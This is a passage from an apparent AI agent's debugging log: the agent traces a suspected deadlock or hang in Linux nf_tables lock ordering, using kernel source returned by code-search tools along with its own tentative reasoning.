2711: chain = kzalloc(sizeof(*chain), GFP_KERNEL_ACCOUNT);
2712: if (chain == NULL)
2713: return -ENOMEM;
2714:
2715: chain->flags = flags;
2716: }
2717: ctx->chain = chain;
2718:
2719: INIT_LIST_HEAD(&chain->rules);
2720: chain->handle = nf_tables_alloc_handle(table);
2721: chain->table = table;
2722:
2723: if (nla[NFTA_CHAIN_NAME]) {
2724: chain->name = nla_strdup(nla[NFTA_CHAIN_NAME], GFP_KERNEL_ACCOUNT);
2725: } else {
2726: if (!(flags & NFT_CHAIN_BINDING)) {
2727: err = -EINVAL;
2728: goto err_destroy_chain;
2729: }
2730:
2731: snprintf(name, sizeof(name), "__chain%llu", ++chain_id);
2732: chain->name = kstrdup(name, GFP_KERNEL_ACCOUNT);
2733: }
2734:
2735: if (!chain->name) {
2736: err = -ENOMEM;
2737: goto err_destroy_chain;
2738: }
2739:
2740: if (nla[NFTA_CHAIN_USERDATA]) {
2741: chain->udata = nla_memdup(nla[NFTA_CHAIN_USERDATA], GFP_KERNEL_ACCOUNT);
2742: if (chain->udata == NULL) {
2743: err = -ENOMEM;
2744: goto err_destroy_chain;
2745: }
2746: chain->udlen = nla_len(nla[NFTA_CHAIN_USERDATA]);
2747: }
2748:
2749: blob = nf_tables_chain_alloc_rules(chain, 0);
2750: if (!blob) {
2751: err = -ENOMEM;
2752: goto err_destroy_chain;
2753: }
2754:
2755: RCU_INIT_POINTER(chain->blob_gen_0, blob);
2756: RCU_INIT_POINTER(chain->blob_gen_1, blob);
2757:
2758: if (!nft_use_inc(&table->use)) {
2759: err = -EMFILE;
2760: goto err_destroy_chain;
2761: }
2762:
2763: trans = nft_trans_chain_add(ctx, NFT_MSG_NEWCHAIN);
2764: if (IS_ERR(trans)) {
2765: err = PTR_ERR(trans);
2766: goto err_trans;
2767: }
2768:
2769: nft_trans_chain_policy(trans) = NFT_CHAIN_POLICY_UNSET;
2770: if (nft_is_base_chain(chain))
2771: nft_trans_chain_policy(trans) = policy;
2772:
2773: err = nft_chain_add(table, chain);
2774: if (err < 0)
2775: goto err_chain_add;
2776:
2777: /* This must be LAST to ensure no packets are walking over this chain. */
2778: err = nf_tables_register_hook(net, table, chain);
2779: if (err < 0)
2780: goto err_register_hook;
2781:
2782: return 0;
2783:
2784: err_register_hook:
2785: nft_chain_del(chain);
2786: err_chain_add:
2787: nft_trans_destroy(trans);
2788: err_trans:
2789: nft_use_dec_restore(&table->use);
2790: err_destroy_chain:
2791: nf_tables_chain_destroy(chain);
2792:
2793: return err;
2794: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 84/2 |
2026/05/31 10:24 |
llm |
expert |
0m
Model:
Tokens:
input: 92502
output: 45
thoughts: 452
Thoughts: **Analyzing Potential Deadlocks in Netfilter Hook Registration**
Okay, so I'm digging into this netfilter code, trying to understand a possible deadlock scenario. My initial thought is focused on the relationship between chain addition and hook registration. I see that `nf_tables_addchain` calls `nf_tables_register_hook`, which immediately flags something important. `nf_tables_addchain` itself is called from `nf_tables_newchain`, and that's triggered by `nfnetlink_rcv_batch` *while* holding the `commit_mutex`. That mutex is a key point to note.
Now, `nf_tables_register_hook` is the critical point. Does it acquire `nf_hook_mutex`? Yes, confirmed! `nf_register_net_hook` does indeed take `nf_hook_mutex`. But does `nf_register_net_hook` touch the `rtnl_lock`? No, that's good.
Okay, let's consider another angle. Could `nf_tables_register_hook` then call something else that introduces a conflict? What about `nft_netdev_register_hooks`? Right, that one also takes `nf_hook_mutex`. And it *doesn't* take `rtnl_lock`. So, that's not immediately concerning. What if it calls `basechain->type->ops_register`? For `NFPROTO_INET`, that one is NULL, which is safe.
So now, back to the potential problem. `nf_tables_addchain` takes `nf_hook_mutex` while holding `commit_mutex`. Meanwhile, `nf_tables_netdev_event` can take `commit_mutex` *while* holding `rtnl_lock`. That's a potential ordering issue, right? And then, if we are dealing with a netdev, `unregister_netdevice` might be key here. It takes `rtnl_lock`, and could then call something else. Does it call `nf_unregister_net_hooks`? No. Instead, it seems to call `dev_close`, so that might trigger netfilter hooks.
Okay, is `nf_unregister_net_hooks` called from `nft_netdev_event`? No. Wait, `nft_netdev_event` calls `__nf_tables_netdev_event`, which calls `nft_netdev_unregister_hooks`. So, this `__nf_tables_netdev_event` function is critical. Let me check that.
|
| 85/2 |
2026/05/31 10:24 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:__nf_tables_netdev_event]
Results: map[SourceCode: 371: static int __nf_tables_netdev_event(unsigned long event,
372: struct net_device *dev,
373: bool changename)
374: {
375: struct nft_base_chain *basechain;
376: struct nftables_pernet *nft_net;
377: struct nft_chain *chain;
378: struct nft_table *table;
379:
380: nft_net = nft_pernet(dev_net(dev));
381: list_for_each_entry(table, &nft_net->tables, list) {
382: if (table->family != NFPROTO_NETDEV &&
383: table->family != NFPROTO_INET)
384: continue;
385:
386: list_for_each_entry(chain, &table->chains, list) {
387: if (!nft_is_base_chain(chain))
388: continue;
389:
390: basechain = nft_base_chain(chain);
391: if (table->family == NFPROTO_INET &&
392: basechain->ops.hooknum != NF_INET_INGRESS)
393: continue;
394:
395: if (nft_netdev_event(event, dev, basechain, changename))
396: return 1;
397: }
398: }
399: return 0;
400: }
SourceFile:net/netfilter/nft_chain_filter.c]
|
| 86/2 |
2026/05/31 10:24 |
llm |
expert |
0m
Model:
Tokens:
input: 94015
output: 42
thoughts: 35
Thoughts: Here's my take on the thought process, summarized as you requested:
**Deconstructing the NFT Netdev Event**
Okay, hold on a second... `nft_netdev_event` is calling `nft_netdev_unregister_hooks`? That doesn't immediately click. Usually, events trigger *additions* or modifications, not *removals* directly. Let's make sure I'm following this correctly. Gotta double-check that `nft_netdev_event` function now. I need to understand the exact context and what triggers this unregistration. There has to be a good reason why it's structured this way, and I need to figure out what that reason is. Let's dig in and see what's really happening within `nft_netdev_event`. I'm going to have to understand how this relationship works because it seems a bit counter-intuitive on the face of it.
|
| 87/2 |
2026/05/31 10:24 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nft_netdev_event]
Results: map[SourceCode: 321: static int nft_netdev_event(unsigned long event, struct net_device *dev,
322: struct nft_base_chain *basechain, bool changename)
323: {
324: struct nft_table *table = basechain->chain.table;
325: struct nf_hook_ops *ops;
326: struct nft_hook *hook;
327: bool match;
328:
329: list_for_each_entry(hook, &basechain->hook_list, list) {
330: ops = nft_hook_find_ops(hook, dev);
331: match = !strncmp(hook->ifname, dev->name, hook->ifnamelen);
332:
333: switch (event) {
334: case NETDEV_UNREGISTER:
335: /* NOP if not found or new name still matching */
336: if (!ops || (changename && match))
337: continue;
338:
339: if (!(table->flags & NFT_TABLE_F_DORMANT))
340: nf_unregister_net_hook(dev_net(dev), ops);
341:
342: list_del_rcu(&ops->list);
343: kfree_rcu(ops, rcu);
344: break;
345: case NETDEV_REGISTER:
346: /* NOP if not matching or already registered */
347: if (!match || (changename && ops))
348: continue;
349:
350: ops = kmemdup(&basechain->ops,
351: sizeof(struct nf_hook_ops),
352: GFP_KERNEL_ACCOUNT);
353: if (!ops)
354: return 1;
355:
356: ops->dev = dev;
357:
358: if (!(table->flags & NFT_TABLE_F_DORMANT) &&
359: nf_register_net_hook(dev_net(dev), ops)) {
360: kfree(ops);
361: return 1;
362: }
363: list_add_tail_rcu(&ops->list, &hook->ops_list);
364: break;
365: }
366: break;
367: }
368: return 0;
369: }
SourceFile:net/netfilter/nft_chain_filter.c]
|
| 88/2 |
2026/05/31 10:24 |
llm |
expert |
0m
Model:
Tokens:
input: 95029
output: 52
thoughts: 1235
Thoughts: **Lock Order Analysis: Identifying a Potential Hang**
Okay, so `nft_netdev_event` calls both `nf_unregister_net_hook` and `nf_register_net_hook`. Both of *those* functions use `nf_hook_mutex`. Got it. Now, thinking about the lock order in `nf_tables_netdev_event`, I see it's: 1. `rtnl_lock` (held by the notifier's caller), 2. `commit_mutex`, and then 3. `nf_hook_mutex`.
Now, let's look at `nf_tables_newchain`. The lock order here is: 1. `commit_mutex`, and then 2. `nf_hook_mutex`. Wait, the *same* order! `commit_mutex` -> `nf_hook_mutex`. So, there's *no* risk of an AB-BA deadlock between these two. That's a relief.
But wait a minute... what if `request_module` gets called while holding `commit_mutex`? `request_module` itself calls `modprobe`. Does `modprobe` then take `rtnl_lock`? If `modprobe` *does* take `rtnl_lock`, we have a deadly combination:
* Thread 1 (Netdev Event): Holds `rtnl_lock`, waits for `commit_mutex`.
* Thread 2 (`nf_tables_newrule`): Holds `commit_mutex`, calls `request_module` which waits for `modprobe`.
* Thread 3 (`modprobe`): Takes `rtnl_lock`, now waits for `rtnl_lock`!
That's a full-blown AB-BA deadlock! But does `modprobe` actually take `rtnl_lock`? Let's consider some scenarios. When `modprobe` loads `nf_conntrack_bridge` or `nft_synproxy`, is `rtnl_lock` acquired? No, it isn't. But what if `modprobe` itself decides to take `rtnl_lock`? After all, it's a user-space program. It could do almost anything. For example, perhaps it sends a netlink message requiring `rtnl_lock`. Why would it do that? Maybe `systemd-udevd` intercepts the module load and does something? Yes, `systemd-udevd` listens to module load events and may trigger netdev events or take `rtnl_lock`. Or maybe `modprobe` just hangs because it's a syzkaller sandbox and the user-mode helper is blocked?
Wait, if `modprobe` is blocked, it's not because of `rtnl_lock`.
If `modprobe` hangs for some other reason, then `commit_mutex` is held forever. Then any netdev event will block on `commit_mutex` while holding `rtnl_lock`. Then `crda_timeout_work` will block on `rtnl_lock`. This *perfectly* explains the hang! If `request_module` is called while holding `commit_mutex`, and if `request_module` hangs (for any reason, for instance user-mode helper is frozen by syzkaller or `modprobe` is blocked on something else), then `commit_mutex` is held forever. Then `rtnl_lock` is held forever by a netdev event. Then `crda_timeout_work` hangs.
Okay, so now let's confirm if `request_module` is actually called when holding `commit_mutex`. Let's trace it back. From `nf_tables_newrule`, holding `commit_mutex`, to `nf_tables_newexpr`. `nf_tables_newexpr` calls `expr->ops->init`, in this case, `nft_synproxy_init`. Then `nft_synproxy_init` calls `nft_synproxy_do_init`. That then calls `nf_ct_netns_get`. When family is `NFPROTO_INET`, that then calls `nf_ct_netns_inet_get(net)`. `nf_ct_netns_inet_get` calls `nf_ct_netns_do_get` for IPv4 and IPv6. In `nf_ct_netns_do_get` for IPv4, we get `nf_defrag_ipv4_enable` and `nf_register_net_hooks`. Neither of these calls `request_module`. But what about IPv6? No, in that case we have `nf_defrag_ipv6_enable` and `nf_register_net_hooks`. But wait, does `nf_defrag_ipv6_enable` call
|
| 89/2 |
2026/05/31 10:24 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/ipv6/netfilter/nf_defrag_ipv6_hooks.c Name:nf_defrag_ipv6_enable]
Results: map[SourceCode: 142: int nf_defrag_ipv6_enable(struct net *net)
143: {
144: int err = 0;
145:
146: mutex_lock(&defrag6_mutex);
147: if (net->nf.defrag_ipv6_users == UINT_MAX) {
148: err = -EOVERFLOW;
149: goto out_unlock;
150: }
151:
152: if (net->nf.defrag_ipv6_users) {
153: net->nf.defrag_ipv6_users++;
154: goto out_unlock;
155: }
156:
157: err = nf_register_net_hooks(net, ipv6_defrag_ops,
158: ARRAY_SIZE(ipv6_defrag_ops));
159: if (err == 0)
160: net->nf.defrag_ipv6_users = 1;
161:
162: out_unlock:
163: mutex_unlock(&defrag6_mutex);
164: return err;
165: }
SourceFile:net/ipv6/netfilter/nf_defrag_ipv6_hooks.c]
|
| 90/2 |
2026/05/31 10:24 |
llm |
expert |
0m
Model:
Tokens:
input: 97722
output: 45
thoughts: 1752
Thoughts: **Analyzing the Synproxy Issue**
Okay, so I'm diving into this synproxy problem. First, I checked `nft_synproxy_do_init`, figuring it might be calling `request_module` directly, but that's a no-go for `NFPROTO_INET`. Then I had a thought about `NFPROTO_BRIDGE`, if the reproducer used that. But no, the reproducer's using `NFPROTO_INET`. Need to double-check that reproducer... yep, definitely `01` which means `NFPROTO_INET`.
Then the thought occurred: does the reproducer create the chain with `NFPROTO_INET`, but then use the `synproxy`? Ah, but I need to look for any call to `request_module`, elsewhere. Now I see it. The culprit is the calls to `nft_expr_type_get` from `nf_tables_expr_parse`. I see that `nft_expr_type_get` calls `nft_request_module`. But `nft_request_module` itself doesn't use `request_module`. It just returns `-EAGAIN`. Then it goes into `nfnetlink_rcv_batch` and aborts. `nf_tables_abort` is calling `nf_tables_module_autoload`, and it calls `request_module`. Aha, it seems `request_module` is called without `commit_mutex`! So, `commit_mutex` is not held, which means `request_module` might not be the cause of the hang.
Ok, let's look at the reproducer. It's sending a batch of messages. Is there any way the batch could cause a problem, like an infinite loop? Ah, I see a loop in `nfnetlink_rcv_batch`: if `nc->call` returns `-EAGAIN`, the batch is replayed. Now, I want to know when does `nc->call` return `-EAGAIN`? `nc->call` is `nf_tables_newrule` and returns `-EAGAIN` if `nft_expr_type_get` returns `-EAGAIN`, which depends on `nft_request_module` and returning `-EAGAIN`. I see now! The module is added to `nft_net->module_list` then returns `-EAGAIN`. Then `nf_tables_abort` calls `nf_tables_module_autoload` and calls `request_module`, setting `req->done = true`. After the next retry, `nft_expr_type_get` is called again. If the module has been loaded, it returns the type, otherwise it calls `nft_request_module` again. `nft_request_module` checks the module list. If `req->done` is true, then it returns `0`! If `nft_request_module` returns `0`, `nft_expr_type_get` does NOT return `-EAGAIN`, so it won't loop.
What if `nft_expr_type_request_module` returns `-EAGAIN`?
Now I need to investigate `nft_expr_type_request_module`.
|
| 91/2 |
2026/05/31 10:25 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nft_expr_type_request_module]
Results: map[SourceCode:3305: static int nft_expr_type_request_module(struct net *net, u8 family,
3306: struct nlattr *nla)
3307: {
3308: if (nft_request_module(net, "nft-expr-%u-%.*s", family,
3309: nla_len(nla), (char *)nla_data(nla)) == -EAGAIN)
3310: return -EAGAIN;
3311:
3312: return 0;
3313: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 92/2 |
2026/05/31 10:25 |
llm |
expert |
0m
Model:
Tokens:
input: 100387
output: 41
thoughts: 585
Thoughts: **Analyzing a Potential Infinite Loop in Netfilter's NFTables Implementation**
Okay, so I'm looking at this code and trying to figure out if there's an infinite loop possibility. It's calling `nft_request_module`, which I know handles some request module calls and returns `0` if the request is done. So, initially, `req->done` being true would prevent a loop.
But then I see this `-EAGAIN` possibility from `nf_tables_commit`. The code checks if `ss->commit` (which I know is `nf_tables_commit` in this context) returns `-EAGAIN`. If so, it sets `NFNL_BATCH_REPLAY` and jumps back to `done`. Essentially, it retries the *entire* batch. My mind immediately goes to, "When does `nf_tables_commit` actually return `-EAGAIN`?"
I need to check the `nf_tables_commit` code. Okay, here it is: `nf_tables_validate` is called, and if it returns `< 0`, then the function returns `-EAGAIN`. This is a crucial point! If `nf_tables_validate` *always* returns a negative value, we have an infinite loop! We'll be stuck in this retry loop forever, constantly replaying the batch.
The implications are serious. During each retry, it's holding `nfnl_lock` and the `commit_mutex` which is used in `nf_tables_newrule` and `nf_tables_commit`. The batch replay calls `nf_tables_newrule`. Then, it calls `nf_tables_commit`.
My thoughts are beginning to race. So, if we are in an infinite loop, it is constantly taking and releasing `commit_mutex`. However, the code for `nf_tables_commit` *does not* hold `commit_mutex`. In fact, it assumes `commit_mutex` is held. So, if the commit is called multiple times, the mutex is assumed and taken.
Hang on. Wait. We're getting closer. Let me confirm, `nf_tables_commit` *is* called from `nfnetlink_rcv_batch` but `nfnetlink_rcv_batch` does *not* hold `commit_mutex`! Then, `nf_tables_commit` does NOT take `commit_mutex`.
The `nf_tables_commit` function is called and assumes `commit_mutex` is held.
Now I need to dive deeper into *why* `nf_tables_validate` might always return a negative value. That's the key to this potential vulnerability.
|
| 93/2 |
2026/05/31 10:25 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_commit]
Results: map[SourceCode:10860: static int nf_tables_commit(struct net *net, struct sk_buff *skb)
10861: {
10862: struct nftables_pernet *nft_net = nft_pernet(net);
10863: const struct nlmsghdr *nlh = nlmsg_hdr(skb);
10864: struct nft_trans_binding *trans_binding;
10865: struct nft_trans *trans, *next;
10866: unsigned int base_seq, gc_seq;
10867: LIST_HEAD(set_update_list);
10868: struct nft_trans_elem *te;
10869: struct nft_chain *chain;
10870: struct nft_table *table;
10871: struct nft_ctx ctx;
10872: LIST_HEAD(adl);
10873: int err;
10874:
10875: if (list_empty(&nft_net->commit_list)) {
10876: mutex_unlock(&nft_net->commit_mutex);
10877: return 0;
10878: }
10879:
10880: nft_ctx_init(&ctx, net, skb, nlh, NFPROTO_UNSPEC, NULL, NULL, NULL);
10881:
10882: list_for_each_entry(trans_binding, &nft_net->binding_list, binding_list) {
10883: trans = &trans_binding->nft_trans;
10884: switch (trans->msg_type) {
10885: case NFT_MSG_NEWSET:
10886: if (!nft_trans_set_update(trans) &&
10887: nft_set_is_anonymous(nft_trans_set(trans)) &&
10888: !nft_trans_set_bound(trans)) {
10889: pr_warn_once("nftables ruleset with unbound set\n");
10890: return -EINVAL;
10891: }
10892: break;
10893: case NFT_MSG_NEWCHAIN:
10894: if (!nft_trans_chain_update(trans) &&
10895: nft_chain_binding(nft_trans_chain(trans)) &&
10896: !nft_trans_chain_bound(trans)) {
10897: pr_warn_once("nftables ruleset with unbound chain\n");
10898: return -EINVAL;
10899: }
10900: break;
10901: default:
10902: WARN_ONCE(1, "Unhandled bind type %d", trans->msg_type);
10903: break;
10904: }
10905: }
10906:
10907: /* 0. Validate ruleset, otherwise roll back for error reporting. */
10908: if (nf_tables_validate(net) < 0) {
10909: nft_net->validate_state = NFT_VALIDATE_DO;
10910: return -EAGAIN;
10911: }
10912:
10913: err = nft_flow_rule_offload_commit(net);
10914: if (err < 0)
10915: return err;
10916:
10917: /* 1. Allocate space for next generation rules_gen_X[] */
10918: list_for_each_entry_safe(trans, next, &nft_net->commit_list, list) {
10919: struct nft_table *table = trans->table;
10920: int ret;
10921:
10922: ret = nf_tables_commit_audit_alloc(&adl, table);
10923: if (ret) {
10924: nf_tables_commit_chain_prepare_cancel(net);
10925: nf_tables_commit_audit_free(&adl);
10926: return ret;
10927: }
10928: if (trans->msg_type == NFT_MSG_NEWRULE ||
10929: trans->msg_type == NFT_MSG_DELRULE) {
10930: chain = nft_trans_rule_chain(trans);
10931:
10932: ret = nf_tables_commit_chain_prepare(net, chain);
10933: if (ret < 0) {
10934: nf_tables_commit_chain_prepare_cancel(net);
10935: nf_tables_commit_audit_free(&adl);
10936: return ret;
10937: }
10938: }
10939: }
10940:
10941: /* step 2. Make rules_gen_X visible to packet path */
10942: list_for_each_entry(table, &nft_net->tables, list) {
10943: list_for_each_entry(chain, &table->chains, list)
10944: nf_tables_commit_chain(net, chain);
10945: }
10946:
10947: /*
10948: * Bump generation counter, invalidate any dump in progress.
10949: * Cannot fail after this point.
10950: */
10951: base_seq = READ_ONCE(nft_net->base_seq);
10952: while (++base_seq == 0)
10953: ;
10954:
10955: WRITE_ONCE(nft_net->base_seq, base_seq);
10956:
10957: gc_seq = nft_gc_seq_begin(nft_net);
10958:
10959: /* step 3. Start new generation, rules_gen_X now in use. */
10960: net->nft.gencursor = nft_gencursor_next(net);
10961:
10962: list_for_each_entry_safe(trans, next, &nft_net->commit_list, list) {
10963: struct nft_table *table = trans->table;
10964:
10965: nft_ctx_update(&ctx, trans);
10966:
10967: nf_tables_commit_audit_collect(&adl, trans, trans->msg_type);
10968: switch (trans->msg_type) {
10969: case NFT_MSG_NEWTABLE:
10970: if (nft_trans_table_update(trans)) {
10971: if (!(table->flags & __NFT_TABLE_F_UPDATE)) {
10972: nft_trans_destroy(trans);
10973: break;
10974: }
10975: if (table->flags & NFT_TABLE_F_DORMANT)
10976: nf_tables_table_disable(net, table);
10977:
10978: table->flags &= ~__NFT_TABLE_F_UPDATE;
10979: } else {
10980: nft_clear(net, table);
10981: }
10982: nf_tables_table_notify(&ctx, NFT_MSG_NEWTABLE);
10983: nft_trans_destroy(trans);
10984: break;
10985: case NFT_MSG_DELTABLE:
10986: case NFT_MSG_DESTROYTABLE:
10987: list_del_rcu(&table->list);
10988: nf_tables_table_notify(&ctx, trans->msg_type);
10989: break;
10990: case NFT_MSG_NEWCHAIN:
10991: if (nft_trans_chain_update(trans)) {
10992: nft_chain_commit_update(nft_trans_container_chain(trans));
10993: nf_tables_chain_notify(&ctx, NFT_MSG_NEWCHAIN,
10994: &nft_trans_chain_hooks(trans));
10995: list_splice(&nft_trans_chain_hooks(trans),
10996: &nft_trans_basechain(trans)->hook_list);
10997: /* trans destroyed after rcu grace period */
10998: } else {
10999: nft_chain_commit_drop_policy(nft_trans_container_chain(trans));
11000: nft_clear(net, nft_trans_chain(trans));
11001: nf_tables_chain_notify(&ctx, NFT_MSG_NEWCHAIN, NULL);
11002: nft_trans_destroy(trans);
11003: }
11004: break;
11005: case NFT_MSG_DELCHAIN:
11006: case NFT_MSG_DESTROYCHAIN:
11007: if (nft_trans_chain_update(trans)) {
11008: nf_tables_chain_notify(&ctx, NFT_MSG_DELCHAIN,
11009: &nft_trans_chain_hooks(trans));
11010: if (!(table->flags & NFT_TABLE_F_DORMANT)) {
11011: nft_netdev_unregister_hooks(net,
11012: &nft_trans_chain_hooks(trans),
11013: true);
11014: }
11015: } else {
11016: nft_chain_del(nft_trans_chain(trans));
11017: nf_tables_chain_notify(&ctx, NFT_MSG_DELCHAIN,
11018: NULL);
11019: nf_tables_unregister_hook(ctx.net, ctx.table,
11020: nft_trans_chain(trans));
11021: }
11022: break;
11023: case NFT_MSG_NEWRULE:
11024: nft_clear(net, nft_trans_rule(trans));
11025: nf_tables_rule_notify(&ctx, nft_trans_rule(trans),
11026: NFT_MSG_NEWRULE);
11027: if (nft_trans_rule_chain(trans)->flags & NFT_CHAIN_HW_OFFLOAD)
11028: nft_flow_rule_destroy(nft_trans_flow_rule(trans));
11029:
11030: nft_trans_destroy(trans);
11031: break;
11032: case NFT_MSG_DELRULE:
11033: case NFT_MSG_DESTROYRULE:
11034: list_del_rcu(&nft_trans_rule(trans)->list);
11035: nf_tables_rule_notify(&ctx, nft_trans_rule(trans),
11036: trans->msg_type);
11037: nft_rule_expr_deactivate(&ctx, nft_trans_rule(trans),
11038: NFT_TRANS_COMMIT);
11039:
11040: if (nft_trans_rule_chain(trans)->flags & NFT_CHAIN_HW_OFFLOAD)
11041: nft_flow_rule_destroy(nft_trans_flow_rule(trans));
11042: break;
11043: case NFT_MSG_NEWSET:
11044: list_del(&nft_trans_container_set(trans)->list_trans_newset);
11045: if (nft_trans_set_update(trans)) {
11046: struct nft_set *set = nft_trans_set(trans);
11047:
11048: WRITE_ONCE(set->timeout, nft_trans_set_timeout(trans));
11049: WRITE_ONCE(set->gc_int, nft_trans_set_gc_int(trans));
11050:
11051: if (nft_trans_set_size(trans))
11052: WRITE_ONCE(set->size, nft_trans_set_size(trans));
11053: } else {
11054: nft_clear(net, nft_trans_set(trans));
11055: /* This avoids hitting -EBUSY when deleting the table
11056: * from the transaction.
11057: */
11058: if (nft_set_is_anonymous(nft_trans_set(trans)) &&
11059: !list_empty(&nft_trans_set(trans)->bindings))
11060: nft_use_dec(&table->use);
11061: }
11062: nf_tables_set_notify(&ctx, nft_trans_set(trans),
11063: NFT_MSG_NEWSET, GFP_KERNEL);
11064: nft_trans_destroy(trans);
11065: break;
11066: case NFT_MSG_DELSET:
11067: case NFT_MSG_DESTROYSET:
11068: nft_trans_set(trans)->dead = 1;
11069: list_del_rcu(&nft_trans_set(trans)->list);
11070: nf_tables_set_notify(&ctx, nft_trans_set(trans),
11071: trans->msg_type, GFP_KERNEL);
11072: break;
11073: case NFT_MSG_NEWSETELEM:
11074: te = nft_trans_container_elem(trans);
11075:
11076: nft_trans_elems_add(&ctx, te);
11077:
11078: if (te->set->ops->commit &&
11079: list_empty(&te->set->pending_update)) {
11080: list_add_tail(&te->set->pending_update,
11081: &set_update_list);
11082: }
11083: nft_trans_destroy(trans);
11084: break;
11085: case NFT_MSG_DELSETELEM:
11086: case NFT_MSG_DESTROYSETELEM:
11087: te = nft_trans_container_elem(trans);
11088:
11089: nft_trans_elems_remove(&ctx, te);
11090:
11091: if (te->set->ops->commit &&
11092: list_empty(&te->set->pending_update)) {
11093: list_add_tail(&te->set->pending_update,
11094: &set_update_list);
11095: }
11096: break;
11097: case NFT_MSG_NEWOBJ:
11098: if (nft_trans_obj_update(trans)) {
11099: nft_obj_commit_update(&ctx, trans);
11100: nf_tables_obj_notify(&ctx,
11101: nft_trans_obj(trans),
11102: NFT_MSG_NEWOBJ);
11103: } else {
11104: nft_clear(net, nft_trans_obj(trans));
11105: nf_tables_obj_notify(&ctx,
11106: nft_trans_obj(trans),
11107: NFT_MSG_NEWOBJ);
11108: nft_trans_destroy(trans);
11109: }
11110: break;
11111: case NFT_MSG_DELOBJ:
11112: case NFT_MSG_DESTROYOBJ:
11113: nft_obj_del(nft_trans_obj(trans));
11114: nf_tables_obj_notify(&ctx, nft_trans_obj(trans),
11115: trans->msg_type);
11116: break;
11117: case NFT_MSG_NEWFLOWTABLE:
11118: if (nft_trans_flowtable_update(trans)) {
11119: nft_trans_flowtable(trans)->data.flags =
11120: nft_trans_flowtable_flags(trans);
11121: nf_tables_flowtable_notify(&ctx,
11122: nft_trans_flowtable(trans),
11123: &nft_trans_flowtable_hooks(trans),
11124: NFT_MSG_NEWFLOWTABLE);
11125: list_splice(&nft_trans_flowtable_hooks(trans),
11126: &nft_trans_flowtable(trans)->hook_list);
11127: } else {
11128: nft_clear(net, nft_trans_flowtable(trans));
11129: nf_tables_flowtable_notify(&ctx,
11130: nft_trans_flowtable(trans),
11131: NULL,
11132: NFT_MSG_NEWFLOWTABLE);
11133: }
11134: nft_trans_destroy(trans);
11135: break;
11136: case NFT_MSG_DELFLOWTABLE:
11137: case NFT_MSG_DESTROYFLOWTABLE:
11138: if (nft_trans_flowtable_update(trans)) {
11139: nf_tables_flowtable_notify(&ctx,
11140: nft_trans_flowtable(trans),
11141: &nft_trans_flowtable_hooks(trans),
11142: trans->msg_type);
11143: nft_unregister_flowtable_net_hooks(net,
11144: nft_trans_flowtable(trans),
11145: &nft_trans_flowtable_hooks(trans));
11146: } else {
11147: list_del_rcu(&nft_trans_flowtable(trans)->list);
11148: nf_tables_flowtable_notify(&ctx,
11149: nft_trans_flowtable(trans),
11150: NULL,
11151: trans->msg_type);
11152: nft_unregister_flowtable_net_hooks(net,
11153: nft_trans_flowtable(trans),
11154: &nft_trans_flowtable(trans)->hook_list);
11155: }
11156: break;
11157: }
11158: }
11159:
11160: nft_set_commit_update(&set_update_list);
11161:
11162: nft_commit_notify(net, NETLINK_CB(skb).portid);
11163: nf_tables_gen_notify(net, skb, NFT_MSG_NEWGEN);
11164: nf_tables_commit_audit_log(&adl, nft_net->base_seq);
11165:
11166: nft_gc_seq_end(nft_net, gc_seq);
11167: nft_net->validate_state = NFT_VALIDATE_SKIP;
11168: nf_tables_commit_release(net);
11169:
11170: return 0;
11171: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 94/2 |
2026/05/31 10:25 |
llm |
expert |
0m
Model:
Tokens:
input: 107008
output: 44
thoughts: 328
Thoughts: **Unraveling the Netfilter Tables Commit Mutex**
Okay, hold on a second. I'm digging into this `nf_tables` code and something doesn't seem right. The documentation seems to suggest that `nf_tables_commit` *doesn't* take `commit_mutex`, and in fact it assumes the caller *already* holds it? That's… unexpected. And then I see that `nfnetlink_rcv_batch` also doesn't hold `commit_mutex`, which further fuels my confusion!
Okay, let's step back and look at the bigger picture. I recall seeing `lockdep_assert_held(&nft_net->commit_mutex)` in `nf_tables_newrule`. So, I'm pretty sure `commit_mutex` *must* be held. But *where*? I need to figure out where this mutex is actually acquired.
Alright, let's go back and examine `nfnetlink_rcv_batch` again. Okay, I see that it calls `nfnl_lock(subsys_id)`. For Netfilter Tables, `subsys_id` is defined as `NFNL_SUBSYS_NFTABLES`. But, `nfnl_lock` takes `nfnl_mutex`. This isn't the same as `commit_mutex`, which is `nft_net->commit_mutex`. Hmm... So what is the link here?
Okay, I've got it! `nf_tables` registers its callbacks with `NFNL_CB_BATCH`. Let's see if this tells us where the mutex is taken.
Now, wait, going back to `nfnetlink_rcv_batch`, it calls `ss->commit(net, oskb)`. Does `nfnetlink_rcv_batch` hold the mutex before calling this commit method? No, it does not.
Aha! `nf_tables` has a custom `commit` function: `nf_tables_commit`. *That* must be the key! Where is `commit_mutex` taken? Okay, I'll go check `nf_tables_valid_genid` to see if that reveals anything.
|
| 95/2 |
2026/05/31 10:25 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_valid_genid]
Results: map[SourceCode:11481: static bool nf_tables_valid_genid(struct net *net, u32 genid)
11482: {
11483: struct nftables_pernet *nft_net = nft_pernet(net);
11484: bool genid_ok;
11485:
11486: mutex_lock(&nft_net->commit_mutex);
11487: nft_net->tstamp = get_jiffies_64();
11488:
11489: genid_ok = genid == 0 || nft_net->base_seq == genid;
11490: if (!genid_ok)
11491: mutex_unlock(&nft_net->commit_mutex);
11492:
11493: /* else, commit mutex has to be released by commit or abort function */
11494: return genid_ok;
11495: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 96/2 |
2026/05/31 10:25 |
llm |
expert |
0m
Model:
Tokens:
input: 108145
output: 41
thoughts: 1714
Thoughts: **Analyzing the `commit_mutex` and Potential Deadlocks in Netfilter Tables**
Okay, so here's what I've got so far. It seems `nf_tables_valid_genid` grabs and holds the `commit_mutex`, and it's called from `nfnetlink_rcv_batch` before any processing starts. This means that the mutex is held during the whole batch.
